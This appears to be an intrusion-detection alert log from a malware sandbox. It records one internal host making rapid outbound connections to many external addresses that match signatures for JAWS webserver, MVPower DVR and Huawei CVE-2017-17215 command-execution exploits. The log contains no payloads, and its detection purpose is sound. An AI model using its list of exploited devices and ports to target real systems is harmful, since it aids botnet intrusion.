06/01/24-18:15:55.265008	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47246	80	192.168.2.23	82.125.129.152
06/01/24-18:15:53.241218	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32800	80	192.168.2.23	118.131.29.171
06/01/24-18:15:54.239112	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53466	80	192.168.2.23	95.127.175.227
06/01/24-18:15:53.247268	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47738	80	192.168.2.23	31.117.7.12
06/01/24-18:15:54.241602	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37588	80	192.168.2.23	212.34.153.120
06/01/24-18:15:54.275058	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51176	37215	192.168.2.23	156.148.74.163
06/01/24-18:15:56.244800	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47080	80	192.168.2.23	85.214.28.20
06/01/24-18:15:56.246953	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48018	80	192.168.2.23	146.123.63.93
06/01/24-18:15:54.275742	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60068	37215	192.168.2.23	41.186.161.206
06/01/24-18:15:56.307512	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54276	37215	192.168.2.23	156.52.23.232
06/01/24-18:15:54.254086	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49882	37215	192.168.2.23	197.121.136.81
06/01/24-18:15:54.273948	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47462	37215	192.168.2.23	41.90.29.90
06/01/24-18:15:54.255942	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42316	37215	192.168.2.23	156.170.125.222
06/01/24-18:15:53.238457	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44104	80	192.168.2.23	145.100.188.83
06/01/24-18:15:56.244879	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44768	80	192.168.2.23	27.59.60.107
06/01/24-18:15:56.288050	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53540	37215	192.168.2.23	197.92.83.61
06/01/24-18:15:55.272743	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38762	80	192.168.2.23	67.103.151.78
06/01/24-18:15:54.254890	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60608	37215	192.168.2.23	41.55.10.217
06/01/24-18:15:54.275319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40920	37215	192.168.2.23	197.235.211.74
06/01/24-18:15:55.260639	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49868	37215	192.168.2.23	156.250.80.139
06/01/24-18:15:56.307292	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49158	37215	192.168.2.23	156.169.205.31
06/01/24-18:15:55.267822	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55206	80	192.168.2.23	159.155.85.246
06/01/24-18:15:56.306153	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59834	37215	192.168.2.23	197.148.128.8
06/01/24-18:15:55.260266	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50294	37215	192.168.2.23	156.164.69.210
06/01/24-18:15:55.261955	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47172	37215	192.168.2.23	156.112.193.48
06/01/24-18:15:54.253439	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39642	37215	192.168.2.23	41.89.44.248
06/01/24-18:15:56.245947	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52912	80	192.168.2.23	118.247.151.83
06/01/24-18:15:56.308362	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35150	37215	192.168.2.23	41.4.150.25
06/01/24-18:15:53.240394	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49442	80	192.168.2.23	124.60.75.137
06/01/24-18:15:55.261422	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41992	37215	192.168.2.23	41.57.81.216
06/01/24-18:15:54.239986	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44968	80	192.168.2.23	176.78.160.138
06/01/24-18:15:55.261750	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49726	37215	192.168.2.23	156.207.173.145
06/01/24-18:15:53.240582	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40758	80	192.168.2.23	136.107.130.201
06/01/24-18:15:54.273986	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48062	37215	192.168.2.23	156.238.73.159
06/01/24-18:15:55.259667	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53642	37215	192.168.2.23	197.239.183.143
06/01/24-18:15:55.260163	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37114	37215	192.168.2.23	197.204.11.107
06/01/24-18:15:54.275438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50042	37215	192.168.2.23	197.5.246.90
06/01/24-18:15:55.263159	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42834	37215	192.168.2.23	156.27.95.98
06/01/24-18:15:54.255707	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51746	37215	192.168.2.23	156.110.247.233
06/01/24-18:15:53.247444	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38426	80	192.168.2.23	25.119.127.189
06/01/24-18:15:53.241044	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45540	80	192.168.2.23	144.192.66.230
06/01/24-18:15:56.287929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36728	37215	192.168.2.23	41.121.144.224
06/01/24-18:15:56.306870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49334	37215	192.168.2.23	197.141.16.244
06/01/24-18:15:53.238770	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58574	80	192.168.2.23	45.5.242.217
06/01/24-18:15:54.253358	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52420	37215	192.168.2.23	41.169.149.73
06/01/24-18:15:54.256207	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45658	37215	192.168.2.23	156.125.82.99
06/01/24-18:15:56.255002	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55288	80	192.168.2.23	135.144.55.37
06/01/24-18:15:56.246697	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55516	80	192.168.2.23	27.184.243.158
06/01/24-18:15:54.253978	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33038	37215	192.168.2.23	41.208.140.239
06/01/24-18:15:54.275830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40262	37215	192.168.2.23	197.97.177.91
06/01/24-18:15:56.308033	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46284	37215	192.168.2.23	156.113.114.137
06/01/24-18:15:56.307898	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54184	37215	192.168.2.23	41.8.69.158
06/01/24-18:15:54.239670	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54808	80	192.168.2.23	118.249.69.78
06/01/24-18:15:54.275552	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58124	37215	192.168.2.23	156.254.50.144
06/01/24-18:15:54.239777	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49860	80	192.168.2.23	145.13.166.240
06/01/24-18:15:54.255200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56718	37215	192.168.2.23	41.45.246.39
06/01/24-18:15:54.274132	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38926	37215	192.168.2.23	156.11.214.49
06/01/24-18:15:54.274295	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36022	37215	192.168.2.23	156.19.157.15
06/01/24-18:15:55.259394	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46300	37215	192.168.2.23	197.159.67.191
06/01/24-18:15:53.238818	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34108	80	192.168.2.23	204.167.44.181
06/01/24-18:15:54.274630	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60168	37215	192.168.2.23	156.58.162.34
06/01/24-18:15:53.237569	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42174	80	192.168.2.23	118.56.224.81
06/01/24-18:15:54.254666	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38622	37215	192.168.2.23	197.213.9.188
06/01/24-18:15:55.266473	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52190	80	192.168.2.23	201.88.211.171
06/01/24-18:15:56.246505	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52478	80	192.168.2.23	172.189.208.197
06/01/24-18:15:54.237960	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41606	80	192.168.2.23	24.179.173.118
06/01/24-18:15:53.239148	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36520	80	192.168.2.23	72.194.176.69
06/01/24-18:15:54.252427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49906	37215	192.168.2.23	156.113.109.247
06/01/24-18:15:53.241576	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45266	80	192.168.2.23	50.235.115.106
06/01/24-18:15:55.261120	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48334	37215	192.168.2.23	197.50.165.9
06/01/24-18:15:53.239684	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40992	80	192.168.2.23	52.206.114.48
06/01/24-18:15:54.253466	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45918	37215	192.168.2.23	197.35.183.52
06/01/24-18:15:53.241504	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54708	80	192.168.2.23	173.142.129.181
06/01/24-18:15:54.240566	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41472	80	192.168.2.23	213.46.243.209
06/01/24-18:15:54.274024	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52602	37215	192.168.2.23	156.150.168.22
06/01/24-18:15:54.252981	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60494	37215	192.168.2.23	156.68.148.229
06/01/24-18:15:55.267406	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51734	80	192.168.2.23	13.140.185.178
06/01/24-18:15:53.240024	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55394	80	192.168.2.23	12.95.201.102
06/01/24-18:15:54.240600	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38122	80	192.168.2.23	149.39.112.106
06/01/24-18:15:54.253940	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36686	37215	192.168.2.23	197.78.230.78
06/01/24-18:15:55.266193	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40980	80	192.168.2.23	18.61.236.189
06/01/24-18:15:55.233813	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49364	37215	192.168.2.23	156.251.227.241
06/01/24-18:15:54.254035	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50018	37215	192.168.2.23	197.215.229.110
06/01/24-18:15:54.239931	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35692	80	192.168.2.23	211.152.213.185
06/01/24-18:15:54.254785	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36170	37215	192.168.2.23	156.47.174.21
06/01/24-18:15:56.246876	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49412	80	192.168.2.23	86.86.105.40
06/01/24-18:15:55.267759	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53386	80	192.168.2.23	97.94.234.176
06/01/24-18:15:56.308485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56528	37215	192.168.2.23	197.200.184.181
06/01/24-18:15:54.237830	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36480	80	192.168.2.23	137.234.162.150
06/01/24-18:15:56.306951	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48620	37215	192.168.2.23	41.121.54.211
06/01/24-18:15:54.251939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35612	37215	192.168.2.23	41.125.186.113
06/01/24-18:15:54.275477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45632	37215	192.168.2.23	41.160.105.72
06/01/24-18:15:54.256497	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34852	37215	192.168.2.23	41.229.19.154
06/01/24-18:15:56.246254	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32796	80	192.168.2.23	73.230.71.26
06/01/24-18:15:53.241304	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42066	80	192.168.2.23	198.139.79.120
06/01/24-18:15:56.246905	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35964	80	192.168.2.23	117.183.217.79
06/01/24-18:15:56.255398	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43720	80	192.168.2.23	176.135.116.139
06/01/24-18:15:55.260064	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42688	37215	192.168.2.23	41.69.68.105
06/01/24-18:15:54.257008	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58146	37215	192.168.2.23	156.249.12.23
06/01/24-18:15:54.254230	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49224	37215	192.168.2.23	41.43.208.255
06/01/24-18:15:55.262933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43420	37215	192.168.2.23	197.247.117.7
06/01/24-18:15:56.288115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54864	37215	192.168.2.23	156.126.149.65
06/01/24-18:15:53.240843	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40970	80	192.168.2.23	113.32.208.233
06/01/24-18:15:54.253499	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34684	37215	192.168.2.23	197.65.247.219
06/01/24-18:15:55.265864	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46648	80	192.168.2.23	60.201.243.104
06/01/24-18:15:54.253835	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50112	37215	192.168.2.23	41.14.133.63
06/01/24-18:15:54.252052	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53482	37215	192.168.2.23	41.13.150.2
06/01/24-18:15:55.261312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35684	37215	192.168.2.23	197.27.178.48
06/01/24-18:15:56.306706	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37724	37215	192.168.2.23	156.246.84.41
06/01/24-18:15:55.263597	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37740	37215	192.168.2.23	156.108.129.83
06/01/24-18:15:55.267233	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40240	80	192.168.2.23	83.131.30.5
06/01/24-18:15:54.253014	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55216	37215	192.168.2.23	156.37.13.98
06/01/24-18:15:54.254747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45572	37215	192.168.2.23	41.109.78.181
06/01/24-18:15:56.308000	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39248	37215	192.168.2.23	41.95.96.115
06/01/24-18:15:53.247074	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45146	80	192.168.2.23	98.220.77.102
06/01/24-18:15:53.247394	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44764	80	192.168.2.23	5.69.223.73
06/01/24-18:15:54.251867	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53694	37215	192.168.2.23	41.23.36.64
06/01/24-18:15:54.274736	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40134	37215	192.168.2.23	197.168.40.142
06/01/24-18:15:53.238041	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49670	80	192.168.2.23	115.246.114.148
06/01/24-18:15:55.265584	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42754	80	192.168.2.23	90.165.6.182
06/01/24-18:15:53.241186	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42926	80	192.168.2.23	173.201.55.115
06/01/24-18:15:54.254586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54026	37215	192.168.2.23	197.236.203.121
06/01/24-18:15:55.265445	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56144	80	192.168.2.23	79.216.128.156
06/01/24-18:15:56.246425	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54018	80	192.168.2.23	115.7.126.94
06/01/24-18:15:53.238312	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59816	80	192.168.2.23	37.168.229.134
06/01/24-18:15:53.240726	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50846	80	192.168.2.23	50.8.69.255
06/01/24-18:15:53.238282	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55598	80	192.168.2.23	43.221.116.139
06/01/24-18:15:53.241698	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40300	80	192.168.2.23	81.78.87.67
06/01/24-18:15:54.274578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48220	37215	192.168.2.23	197.173.199.249
06/01/24-18:15:54.274916	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46990	37215	192.168.2.23	156.108.83.196
06/01/24-18:15:55.267260	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57372	80	192.168.2.23	185.200.90.77
06/01/24-18:15:54.240296	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44588	80	192.168.2.23	176.104.168.239
06/01/24-18:15:54.251978	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51176	37215	192.168.2.23	41.144.59.161
06/01/24-18:15:56.307218	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51982	37215	192.168.2.23	41.199.2.59
06/01/24-18:15:54.256554	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51224	37215	192.168.2.23	41.200.45.182
06/01/24-18:15:54.255441	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52168	37215	192.168.2.23	156.32.96.160
06/01/24-18:15:53.240427	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34260	80	192.168.2.23	105.120.208.242
06/01/24-18:15:56.287004	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39420	80	192.168.2.23	8.213.71.177
06/01/24-18:15:54.254181	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44086	37215	192.168.2.23	41.139.184.97
06/01/24-18:15:55.259864	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38666	37215	192.168.2.23	197.174.153.53
06/01/24-18:15:55.267520	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52308	80	192.168.2.23	82.183.211.22
06/01/24-18:15:54.273878	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60218	37215	192.168.2.23	156.211.151.21
06/01/24-18:15:54.274063	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49540	37215	192.168.2.23	197.225.16.119
06/01/24-18:15:54.238961	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37350	80	192.168.2.23	66.47.79.133
06/01/24-18:15:56.254703	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42576	80	192.168.2.23	36.18.192.99
06/01/24-18:15:53.241108	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52008	80	192.168.2.23	198.24.255.213
06/01/24-18:15:56.308137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48752	37215	192.168.2.23	197.198.161.205
06/01/24-18:15:53.237476	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35232	80	192.168.2.23	146.154.17.102
06/01/24-18:15:54.251240	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38612	37215	192.168.2.23	41.193.154.175
06/01/24-18:15:54.240357	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59202	80	192.168.2.23	104.134.7.68
06/01/24-18:15:54.251351	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45328	37215	192.168.2.23	156.193.10.45
06/01/24-18:15:55.266794	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51872	80	192.168.2.23	27.18.243.86
06/01/24-18:15:54.238864	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40456	80	192.168.2.23	132.66.64.38
06/01/24-18:15:55.259707	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42860	37215	192.168.2.23	156.86.90.224
06/01/24-18:15:54.252650	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35458	37215	192.168.2.23	41.53.249.76
06/01/24-18:15:54.255507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57296	37215	192.168.2.23	197.132.75.186
06/01/24-18:15:55.260121	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45602	37215	192.168.2.23	41.198.182.7
06/01/24-18:15:54.238523	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58026	80	192.168.2.23	59.172.71.185
06/01/24-18:15:54.252766	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55648	37215	192.168.2.23	197.218.44.219
06/01/24-18:15:54.253117	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51976	37215	192.168.2.23	41.137.161.29
06/01/24-18:15:54.239895	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38226	80	192.168.2.23	156.33.185.72
06/01/24-18:15:55.261655	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57692	37215	192.168.2.23	41.237.153.229
06/01/24-18:15:54.274702	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52758	37215	192.168.2.23	41.116.22.183
06/01/24-18:15:54.274543	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38888	37215	192.168.2.23	197.107.164.239
06/01/24-18:15:54.238344	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46754	80	192.168.2.23	52.191.152.237
06/01/24-18:15:55.266378	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42736	80	192.168.2.23	14.179.235.7
06/01/24-18:15:54.237601	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44574	80	192.168.2.23	168.235.31.17
06/01/24-18:15:55.260550	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58116	37215	192.168.2.23	41.248.71.190
06/01/24-18:15:54.253777	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52106	37215	192.168.2.23	156.93.240.94
06/01/24-18:15:53.241837	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57174	80	192.168.2.23	37.47.52.166
06/01/24-18:15:56.306901	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34652	37215	192.168.2.23	156.60.77.246
06/01/24-18:15:54.274833	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46780	37215	192.168.2.23	156.186.16.118
06/01/24-18:15:54.256689	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52956	37215	192.168.2.23	156.95.106.67
06/01/24-18:15:54.240458	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35078	80	192.168.2.23	157.151.151.63
06/01/24-18:15:56.254680	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34716	80	192.168.2.23	47.229.128.11
06/01/24-18:15:55.267159	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48974	80	192.168.2.23	151.12.11.94
06/01/24-18:15:55.233750	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34658	37215	192.168.2.23	156.113.148.202
06/01/24-18:15:55.268402	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50962	80	192.168.2.23	181.111.33.4
06/01/24-18:15:54.256369	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51756	37215	192.168.2.23	156.196.70.199
06/01/24-18:15:55.261573	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60606	37215	192.168.2.23	41.150.123.75
06/01/24-18:15:56.306780	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50380	37215	192.168.2.23	41.223.56.124
06/01/24-18:15:54.239606	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48026	80	192.168.2.23	124.204.6.25
06/01/24-18:15:56.307768	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49984	37215	192.168.2.23	197.205.140.173
06/01/24-18:15:54.251240	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38612	37215	192.168.2.23	41.193.154.175
06/01/24-18:15:54.256774	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54536	37215	192.168.2.23	197.248.232.76
06/01/24-18:15:54.274187	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35414	37215	192.168.2.23	41.44.205.135
06/01/24-18:15:54.251665	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43196	37215	192.168.2.23	41.64.231.154
06/01/24-18:15:54.254997	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40604	37215	192.168.2.23	197.85.240.37
06/01/24-18:15:56.245427	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59018	80	192.168.2.23	219.119.143.84
06/01/24-18:15:56.288088	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53796	37215	192.168.2.23	41.199.32.68
